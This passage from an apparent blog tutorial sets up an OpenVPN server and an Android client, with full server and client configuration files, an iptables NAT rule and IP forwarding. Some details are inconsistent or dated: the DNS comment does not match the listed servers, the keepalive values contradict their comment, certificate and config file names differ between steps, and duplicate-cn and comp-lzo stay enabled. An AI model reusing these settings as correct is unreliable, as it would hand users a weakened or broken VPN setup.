# all IP traffic such as web browsing and

# and DNS lookups to go through the VPN

# (The OpenVPN server machine may need to NAT

# or bridge the TUN/TAP interface to the internet

# in order for this to work properly).

push "redirect-gateway def1 bypass-dhcp"

# Certain Windows-specific network settings

# can be pushed to clients, such as DNS

# or WINS server addresses.  CAVEAT:

# http://openvpn.net/faq.html#dhcpcaveats

# The addresses below refer to the public

# DNS servers provided by opendns.com.

push "dhcp-option DNS 8.8.8.8"

push "dhcp-option DNS 8.8.4.4"

# Uncomment this directive to allow different

# clients to be able to "see" each other.

# By default, clients will only see the server.

# To force clients to only see the server, you

# will also need to appropriately firewall the

# server's TUN/TAP interface.

;client-to-client

# Uncomment this directive if multiple clients

# might connect with the same certificate/key

# files or common names.  This is recommended

# only for testing purposes.  For production use,

# each client should have its own certificate/key

# pair.

#

# IF YOU HAVE NOT GENERATED INDIVIDUAL

# CERTIFICATE/KEY PAIRS FOR EACH CLIENT,

# EACH HAVING ITS OWN UNIQUE "COMMON NAME",

# UNCOMMENT THIS LINE OUT.

duplicate-cn

# The keepalive directive causes ping-like

# messages to be sent back and forth over

# the link so that each side knows when

# the other side has gone down.

# Ping every 10 seconds, assume that remote

# peer is down if no ping received during

# a 120 second time period.

keepalive 120 340

# For extra security beyond that provided

# by SSL/TLS, create an "HMAC firewall"

# to help block DoS attacks and UDP port flooding.

#

# Generate with:

#   openvpn --genkey --secret ta.key

#

# The server and each client must have

# a copy of this key.

# The second parameter should be '0'

# on the server and '1' on the clients.

;tls-auth ta.key 0 # This file is secret

# Select a cryptographic cipher.

# This config item must be copied to

# the client config file as well.

;cipher BF-CBC        # Blowfish (default)

cipher AES-128-CBC   # AES

;cipher DES-EDE3-CBC  # Triple-DES

# Enable compression on the VPN link.

# If you enable it here, you must also

# enable it in the client config file.

comp-lzo

# The maximum number of concurrently connected

# clients we want to allow.

max-clients 6

# It's a good idea to reduce the OpenVPN

# daemon's privileges after initialization.

#

# You can uncomment this out on

# non-Windows systems.

user nobody

group nogroup

# The persist options will try to avoid

# accessing certain resources on restart

# that may no longer be accessible because

# of the privilege downgrade.

persist-key

persist-tun

# Output a short status file showing

# current connections, truncated

# and rewritten every minute.

;status openvpn-status.log

# By default, log messages will go to the syslog (or

# on Windows, if running as a service, they will go to

# the "\Program Files\OpenVPN\log" directory).

# Use log or log-append to override this default.

# "log" will truncate the log file on OpenVPN startup,

# while "log-append" will append to it.  Use one

# or the other (but not both).

;log         openvpn.log

;log-append  openvpn.log

# Set the appropriate level of log

# file verbosity.

#

# 0 is silent, except for fatal errors

# 4 is reasonable for general usage

# 5 and 6 can help to debug connection problems

# 9 is extremely verbose

verb 3

# Silence repeating messages.  At most 20

# sequential messages of the same message

# category will be output to the log.

;mute 20

Save the file as server.conf in /etc/openvpn/. Now, you will need to create the following certs:

1. ca.crt
2. cert.crt
3. secrect.key


Create your certs

The steps for creating the certs can be found, here or here.

Once you have created them, save these certs in /etc/openvpn/.

Start openvpn service:

# service openvpn start

OR

# openvpn /etc/openvpn/server.conf

Setup IPTABLES to SNT/MASQ the connections outbound from your vpn server

# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <your public ip here>


Activate ip fwd

/etc/sysctl.conf:
net.ipv4.ip_forward = 1

If everything went right, you should not see any errors, that means openvpn server is successfully running on your vps.

OpenVPN Client Installation and configuration

Create the following client config:

# Specify that we are a client and that we

# will be pulling certain config file directives

# from the server.

client

# Use the same setting as you are using on

# the server.

# On most systems, the VPN will not function

# unless you partially or fully disable

# the firewall for the TUN/TAP interface.

;dev tap

dev tun

# Windows needs the TAP-Win32 adapter name

# from the Network Connections panel

# if you have more than one.  On XP SP2,

# you may need to disable the firewall

# for the TAP adapter.

;dev-node MyTap

# Are we connecting to a TCP or

# UDP server?  Use the same setting as

# on the server.

proto udp

# The hostname/IP and port of the server.

# You can have multiple remote entries

# to load balance between the servers.

remote aaa.bbb.ccc.ddd xxx     <<------- your openvpn server and port here!

;remote my-server-2 1194

# Choose a random host from the remote

# list for load-balancing.  Otherwise

# try hosts in the order specified.

;remote-random

# Keep trying indefinitely to resolve the

# host name of the OpenVPN server.  Very useful

# on machines which are not permanently connected

# to the internet such as laptops.

resolv-retry infinite

# Most clients don't need to bind to

# a specific local port number.

nobind

# Downgrade privileges after initialization (non-Windows only)

;user nobody

;group nogroup

# Try to preserve some state across restarts.

persist-key

persist-tun

# If you are connecting through an

# HTTP proxy to reach the actual OpenVPN

# server, put the proxy server/IP and

# port number here.  See the man page

# if your proxy server requires

# authentication.

;http-proxy-retry # retry on connection failures

;http-proxy [proxy server] [proxy port #]

# Wireless networks often produce a lot

# of duplicate packets.  Set this flag

# to silence duplicate packet warnings.

;mute-replay-warnings

# SSL/TLS parms.

# See the server config file for more

# description.  It's best to use

# a separate .crt/.key file pair

# for each client.  A single ca

# file can be used for all clients.

ca ca.crt

cert client1.crt

key client.key

# Verify server certificate by checking

# that the certicate has the nsCertType

# field set to "server".  This is an

# important precaution to protect against

# a potential attack discussed here:

#  http://openvpn.net/howto.html#mitm

#

# To use this feature, you will need to generate

# your server certificates with the nsCertType

# field set to "server".  The build-key-server

# script in the easy-rsa folder will do this.

ns-cert-type server

# If a tls-auth key is used on the server

# then every client must also have the key.

;tls-auth ta.key 1

# Select a cryptographic cipher.

# If the cipher option is used on the server

# then you must also specify it here.

cipher AES-128-CBC

# Enable compression on the VPN link.

# Don't enable this unless it is also

# enabled in the server config file.

comp-lzo

# Set log file verbosity.

verb 3

# Silence repeating messages

;mute 20

The client.conf file along with the certs should be transferred to your client device. The step below describes the steps to configure an Android device to connect to openvpn server:

1. Download your favourite vpn client, I recommend OpenVPN client.
2. Transfer client.conf along with the following certs:

ca.crt
client1.crt

client.key

3. Load client.cfg into the vpn client

4. Connect to your vpn server

In summary, using a correctly configured VPN will protect your privacy and your connection from hijacking but it will NOT protect you from identity theft or intrusions. Always practice safe browsing and never post sensitive information on the Internet. Irregardless of which website you are submitting personal data, always scrutinise the need for having to provide them your personal info.